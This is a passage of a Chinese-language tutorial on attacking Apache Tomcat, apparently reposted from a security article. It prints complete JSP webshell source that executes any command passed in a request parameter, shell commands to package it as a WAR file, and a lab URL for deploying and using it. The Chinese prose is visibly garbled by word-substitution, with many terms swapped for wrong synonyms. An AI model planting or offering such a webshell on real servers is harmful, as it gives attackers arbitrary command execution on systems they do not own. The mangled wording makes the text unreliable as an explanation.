进攻Tomcat的多种姿势

一旦执行了上述呼吁，我们就可以直接得到一个webshell了，如下图所示：

天生JSP webshell

接下来，我们就来看看怎样天生和陈设webshell来得到Tomcat应用中的执行呼吁。

起首，我们必要写一个webshell而且打包成war名目。我们可以行使下面的代码来写一个webshell：

<%@ page import="java.io.*" %> 
<% 
   String cmd = request.getParameter("cmd"); 
   String output = ""; 
   if(cmd != null) { 
      String s = null; 
      try { 
         Process p = Runtime.getRuntime().exec(cmd,null,null); 
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
         while((s = sI.readLine()) != null) { output += s+" 
"; } 
      }  catch(IOException e) {   e.printStackTrace();   } 
   } 
%> 
<%=output %> 

生涯代码为index.jsp文件，然后行使下列呼吁来打包：

mkdir webshell 
cp index.jsp webshell/ 
cd webshell 
jar -cvf ../webshell.war * 

执行完这条呼吁，你就能天生一个war文件，你可以将这个war文件陈设在Tomcat应用中。

如下图所示，你可以看到，我已经乐成上传并陈设了webshell.war文件，此刻我们点击这个文件来执行：

在执行/webshell时，你会获得一个404错误页面，此刻再执行webshell下的index.jsp文件，如下：

http://192.168.1.106:8080/webshell/index.jsp

会见了上述URL后，你会获得一个呼吁执行的表单，此刻你就可以在这个表单上恣意执行cmd呼吁了，如图：

本文到此竣事，但愿各人有所收成。

（编辑：湖南网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!